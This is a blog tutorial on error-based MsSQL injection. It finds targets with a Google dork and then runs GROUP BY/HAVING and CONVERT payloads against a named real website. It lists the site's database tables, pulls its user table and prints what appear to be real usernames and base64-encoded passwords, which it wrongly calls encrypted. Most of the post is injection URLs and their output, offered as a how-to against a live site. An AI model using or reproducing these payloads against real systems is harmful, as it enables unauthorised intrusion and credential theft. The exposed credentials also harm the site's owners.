MsSQL Injection
![[Image: 2102121338_e36a5299aa.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8axOtsjCai-9cKEs6jC5UAHA8Cl38MTQ1kLe7oh4G938dJfDa5CaLeS4qn4B4GTkEE-rl-obGUwUNwS9LeEB62tU4bvRN7z4JUSyG4Gwhx3IHVMxbubBX4zAatrzEmTvi3n34UYQvUynG/s400/2102121338_e36a5299aa.jpg)
Introduction.
Ive seen countless of MySQL Injection tutorials but I have yet to see a MsSQL Injection tutorial that covers the topic well.
Before I begin, there are two ways that I am familiar on how to extract tables and columns from a MsSQL database, there could be more ways but I’ll be showing you how to accomplish this task by GROUPING and through CONVERSION. Lets begin!
Finding a Vulnerable Site.
Just like MySQL Injections, one will find a vulnerable site with Dorks but the way we find it differs slightly. For example, I’ll be using this dork: inurl:movie.aspx?id=
Eventually, I stumbled upon this site:
http://www.movietomovement.com/en-us/mov....aspx?id=4
Placing an apostrophe at the end of the integer or string will give you an error like so:
http://www.movietomovement.com/en-us/mov....aspx?id=4’
Errors to look for:
Code:
Microsoft OLE DB Provider for SQL Server errorCode:
Incorrect SyntaxThis are the type of errors that indicates a MsSQL Injection vulnerability. Once you have this output on the page, lets continue to exploit it by using the GROUPING orCONVERSION methods.
Finding Tables and Columns by Grouping.
For those who haven’t dealt with these kind of injection, when you attempt to find the tables and columns by Grouping, these fields will be shown in a particular manner. Lets continue to demonstrate how the tables and columns will be displayed when grouped.
The first thing you have to do is use the query HAVING 1=1--
So lets see what happens when we send this query.
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' HAVING 1=1--
This error is an indication that we can get the tables and columns by grouping:
Column 'tblMM_English_Movies.Movie_ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
If you don’t get this, you have to try exploiting the site by using the CONVERSION method which will be later covered in this tutorial.
Now, lets take a closer looks at this error. As I said before, when you attempt to find the tables and columns by grouping, these fields will be shown in a particular manner, meaning that the tables and columns will be shown in the error. For example:
'tblMM_English_Movies.Movie_ID'
tblMM_English_Movies is the table and Movie_ID is the column. Now that we know the output format, lets continue to extract more tables and columns by grouping using this syntax. Keep in mind that you have to know the tables and columns because you will have to add them to the query every time. So now lets continue to extract more by using the GROUP BY query like so:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' GROUP BY tblMM_English_Movies.Movie_ID HAVING 1=1--
Now the page will output new tables and columns through the following error:
Column 'tblMM_English_Movies.Movie_Title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
The table is tblMM_English_Movies and the column is Movie_Title. Now lets keep extracting new fields by adding the current output to the query:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' GROUP BY tblMM_English_Movies.Movie_ID, tblMM_English_Movies.Movie_Title HAVING 1=1--
Once again, the page outputted new tables and columns through the error:
Column 'tblMM_English_Movies.Movie_ReleaseDate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
The table is tblMM_English_Movies and the column is Movie_ReleaseDate.
All we have to continue doing is adding the new columns until you eventually reach the end of the file:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' GROUP BY tblMM_English_Movies.Movie_ID, tblMM_English_Movies.Movie_Title,tblMM_English_Movies.Movie_ReleaseDate,tblMM_English_Movies.Movie_Synopsis HAVING 1=1--
The error on the page no longer outputs tables and columns which indicates that we have reached the end and can no longer get the tables and columns by GROUPING.
The most efficient way to take advantage of this vulnerability is by using the CONVERSION method.
Finding Tables and Columns by Converting.
Before we continue to find the necessary fields, its useful to enumerate! Lets take a look how we will find the version, the database name, and the user:
To find the version:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(@@version))--
The page outputs:
Code:
Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
Apr 2 2010 15:48:46
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 (Build 7600: ) To find the Database’s Name:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(db_name()))--
The page outputs:
Code:
epic26To find the Database Current User:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(user_name()))--
The page outputs the same data from the db_name():
Code:
epic26Finding the Tables:
To find the tables of the database you will need to send this command across the server.
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
Once entered the page outputs:
tblContentPanes
Just like before, we need to note this table because it will be added to our following query like so:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tblContentPanes')))--
Then the page will output another table called tblPagesXLanguage. Once again this table is added to our following query to get the next table:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tblContentPanes','tblPagesXLanguage')))--
As expected, the page outputted another table called tblImageAssets. This pattern will continue until you reach the end:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tblContentPanes','tblPagesXLanguage','tblImageAssets','tblMM_English_FilmBackers','tblSites','tblMM_English_TheaterMembers','tblControlsXItems','tblItemFieldsXValue','tblMasterPages','tblPageXControl','tblMM_English_ContactSubmissions','tblMM_English_Donations','tblMM_English_Films','tblMM_English_FilmUpdates','tblMM_English_MovementNews','tblImageCategories','tblMM_English_MovementPhotos','tblPdfAssets','tblMM_English_Movements','tblMM_English_MovieCategories','tblItemFieldTextValues','tblMM_English_MovieNews','tblMM_English_MoviePhotos','tblMM_English_Movies','tblMM_English_Speakers','tblLanguages','tblMM_English_Volunteers','tblMM_Spanish_Donations','tblItems','tblMM_Spanish_MovementNews','tblMM_Spanish_MovementPhotos','tblMM_Spanish_Movements','tblItemTypes','tblMM_Spanish_MovieCategories','tblItemFieldBlobValues','tblMM_Spanish_MovieNews','tblMM_Spanish_MoviePhotos','tblUserLevels','tblMM_Spanish_Movies','tblMM_Spanish_Volunteers','tblMeta','tblItemFieldNumericValues','tblUserPageAccess','tblMM_English_SpeakerRequests','tblMM_English_Events','tblUsers','tblMM_English_Theaters','tblControls','tblItemFields','dtproperties','tlbImageCategories','tblMM_Spanish_ContactSubmissions','tblItemFieldStringValues','tblPages')))--
As you can see, the page loaded normally which signifies that there are no more table to extract. There are errors such as “BOF or EOF is true, or the current record has been deleted” that also indicate that you have reached the end.
Finding the Corresponding Columns for a Table:
While extracting all those columns I found a table 'tblUsers' that might have useful information. So let’s begin extracting the columns for this table!
http://www.movietomovement.com/en-us/mov....aspx?id=4
' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tblUsers'))--
When this is entered, the page outputted the column 'UserId'. Like before, we need to take note of this because it will be included in the next query to get the next column.
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tblUsers' and column_name not in ('UserId')))--
The page outputted the next column 'UserName'. This patter will also continue until we reach the end of the file or we find just what we need.
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='tblUsers' and column_name not in ('UserId','UserName')))--
The next column is 'Password'. I’ll stop here since we have the columns we need which are UserName and Password.
Extracting the Information from the Database:
Lets begin by extracting some Usernames from the table tblUsers, like so:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 UserName from tblUsers))--
As you can see the first extracted Username is called 'balance'. Take note of this because we will use this Username to get other UserNames from the database. If we enter this query:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 UserName from tblUsers where UserName not in ('balance')))--
You can see that the next UserName is called 'admin'. If we continue to follow this pattern we reach the end of the file:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 UserName from tblUsers where UserName not in ('balance','admin')))--
Now we know that there are two UserNames called balance and admin. Now lets continue to get the passwords for these two users.
To get the Password for the first user we extracted, the query will look like:
http://www.movietomovement.com/en-us/mov....aspx?id=4 ' and 1=convert(int,(select top 1 Password from tblUsers))--
Then the page will output the Password for the UserName balance: YkBsX0NNUw==
Then we’ll continue to get the second Password by sending this query across:
http://www.movietomovement.com/en-us/mov....aspx?id=4
' and 1=convert(int,(select top 1 Password from tblUsers where Password not in ('YkBsX0NNUw==')))--
As you can see the Password for the UserName admin is: bTB2ZW0zbnQ=
Yes, the extracted passwords are encrypted.
Conclusion.
Overall, this type of injection is less common than MySQLi because PHP sites are more popular than ASP and ASPX. Most people tend avoid using MsSQLi because its very manual and of the duration it takes to get the right table you need. Im sure there are different methodologies on how to inject these types of sites, but this is how I personally will go about taking advantage of this vulnerability.
Hope this is useful to most, any comments will be appreciated.
No comments:
Post a Comment